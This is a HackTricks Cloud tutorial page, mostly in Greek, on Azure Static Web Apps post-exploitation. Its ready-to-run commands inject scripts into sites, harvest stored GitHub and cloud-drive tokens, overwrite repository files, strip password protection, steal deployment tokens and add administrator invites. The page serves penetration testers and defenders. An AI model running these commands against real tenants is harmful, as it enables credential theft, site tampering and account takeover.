Az - Static Web Apps Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Azure Static Web Apps
Για περισσότερες πληροφορίες σχετικά με αυτήν την υπηρεσία δείτε:
Microsoft.Web/staticSites/snippets/write
Είναι δυνατό να κάνετε μια static web page να φορτώνει αυθαίρετο HTML code δημιουργώντας ένα snippet. Αυτό μπορεί να επιτρέψει σε έναν attacker να εισάγει JS code μέσα στην web app και να κλέψει ευαίσθητες πληροφορίες όπως credentials ή mnemonic keys (σε web3 wallets).
Η παρακάτω command δημιουργεί ένα snippet που θα φορτώνεται πάντα από την web app::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Ανάγνωση Ρυθμισμένων credentials τρίτων
Όπως εξηγείται στην ενότητα App Service:
Εκτελώντας την παρακάτω εντολή είναι δυνατό να διαβάσετε τα credentials τρίτων που έχουν ρυθμιστεί στον τρέχοντα λογαριασμό. Σημειώστε ότι, για παράδειγμα, εάν κάποια Github credentials έχουν ρυθμιστεί σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν άλλο χρήστη.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Αυτή η εντολή επιστρέφει tokens για Github, Bitbucket, Dropbox και OneDrive.
Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Αντικατάσταση αρχείου - Αντικατάσταση routes, HTML, JS…
Είναι δυνατόν να αντικαταστήσετε ένα αρχείο μέσα στο Github repo που περιέχει την εφαρμογή μέσω του Azure έχοντας το Github token στέλνοντας ένα αίτημα όπως το ακόλουθο που θα υποδεικνύει τη διαδρομή του αρχείου που θα αντικατασταθεί, το περιεχόμενο του αρχείου και το μήνυμα commit.
This can be abused by attackers to basically change the content of the web app to serve malicious content (steal credentials, mnemonic keys…) or just to re-route certain paths to their own servers by overwriting the staticwebapp.config.json file.
Warning
Σημειώστε ότι εάν ένας επιτιθέμενος καταφέρει να παραβιάσει το Github repo με οποιονδήποτε τρόπο, μπορεί επίσης να αντικαταστήσει το αρχείο απευθείας από το Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
### Microsoft.Web/staticSites/config/write
Με αυτήν την άδεια, είναι δυνατό να τροποποιήσετε τον κωδικό πρόσβασης που προστατεύει μια static web app ή ακόμη και να αφαιρέσετε την προστασία από κάθε περιβάλλον στέλνοντας ένα αίτημα όπως το ακόλουθο:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Αυτό το δικαίωμα επιτρέπει τη λήψη του API key deployment token για την static app.
Χρησιμοποιώντας az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Χρήση AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Then, in order to ενημερώσετε μια app χρησιμοποιώντας το token you could run the following command. Note that this command was extracted checking how to Github Action https://github.com/Azure/static-web-apps-deploy works, as it’s the one Azure set by default to use. So the image and παράμετροι could change in the future.
Tip
Για να κάνετε deploy την εφαρμογή μπορείτε να χρησιμοποιήσετε το εργαλείο
swaαπό https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ή να ακολουθήσετε τα παρακάτω απλά βήματα:
- Κατεβάστε το repo https://github.com/staticwebdev/react-basic (or any other repo you want to deploy) and run
cd react-basic. - Αλλάξτε τον κώδικα που θέλετε να deploy
- Κάντε deploy τρέχοντας (Remember to change the
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Ακόμα και αν έχετε το token δεν θα μπορείτε να κάνετε deploy την εφαρμογή αν η Deployment Authorization Policy είναι ορισμένη σε Github. Για να χρησιμοποιήσετε το token θα χρειαστείτε την άδεια
Microsoft.Web/staticSites/writeγια να αλλάξετε τη μέθοδο ανάπτυξης ώστε να χρησιμοποιεί το APi token.
Microsoft.Web/staticSites/write
Με αυτή την άδεια είναι δυνατό να αλλάξετε την πηγή του static web app σε διαφορετικό Github repository, ωστόσο δεν θα γίνει αυτόματα provisioning καθώς αυτό πρέπει να γίνει από ένα Github Action.
Ωστόσο, αν η Deployment Authorization Policy είναι ορισμένη σε Github, είναι δυνατό να ενημερώσετε την εφαρμογή από το νέο source repository!.
Σε περίπτωση που η Deployment Authorization Policy δεν είναι ορισμένη σε Github, μπορείτε να την αλλάξετε με την ίδια άδεια Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Παράδειγμα Github Action για την ανάπτυξη της εφαρμογής:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Με αυτήν την άδεια είναι δυνατό να reset the API key of the static web app, ενδεχομένως προκαλώντας DoSing στα workflows που αναπτύσσουν αυτόματα την εφαρμογή.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Αυτή η άδεια επιτρέπει τη δημιουργία πρόσκλησης προς έναν χρήστη για πρόσβαση σε προστατευμένες διαδρομές μέσα σε ένα static web app με συγκεκριμένο ρόλο.
Το login βρίσκεται σε μια διαδρομή όπως /.auth/login/github για github ή /.auth/login/aad για Entra ID και ένας χρήστης μπορεί να προσκληθεί με την ακόλουθη εντολή:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Προεπιλεγμένα, τα Pull Requests από ένα branch στο ίδιο repo θα μεταγλωττιστούν και θα γίνει build αυτόματα σε ένα περιβάλλον staging. Αυτό θα μπορούσε να καταχραστεί ένας επιτιθέμενος με δικαίωμα εγγραφής στο repo αλλά χωρίς δυνατότητα να παρακάμψει τους περιορισμούς του production branch (συνήθως main) για να αναπτύξει μια κακόβουλη έκδοση της εφαρμογής στο staging URL.
Το staging URL έχει τη μορφή: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> όπως: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Σημειώστε ότι, από προεπιλογή, τα external PRs δεν θα τρέξουν workflows εκτός αν έχει συγχωνευτεί τουλάχιστον 1 PR στο repository. Ένας επιτιθέμενος θα μπορούσε να στείλει ένα έγκυρο PR στο repo και μετά να στείλει ένα κακόβουλο PR στο repo για να αναπτύξει την κακόβουλη εφαρμογή στο staging περιβάλλον. Ωστόσο, υπάρχει μια απρόσμενη προστασία: το προεπιλεγμένο Github Action για το deploy στην static web app χρειάζεται πρόσβαση στο secret που περιέχει το deployment token (π.χ.
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) ακόμη και αν το deployment γίνεται με το IDToken. Αυτό σημαίνει ότι επειδή ένα external PR δεν θα έχει πρόσβαση σε αυτό το secret και ένα external PR δεν μπορεί να αλλάξει το Workflow για να τοποθετήσει εδώ ένα αυθαίρετο token χωρίς να γίνει αποδεκτό ένα PR, αυτή η επίθεση στην ουσία δεν θα λειτουργήσει.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

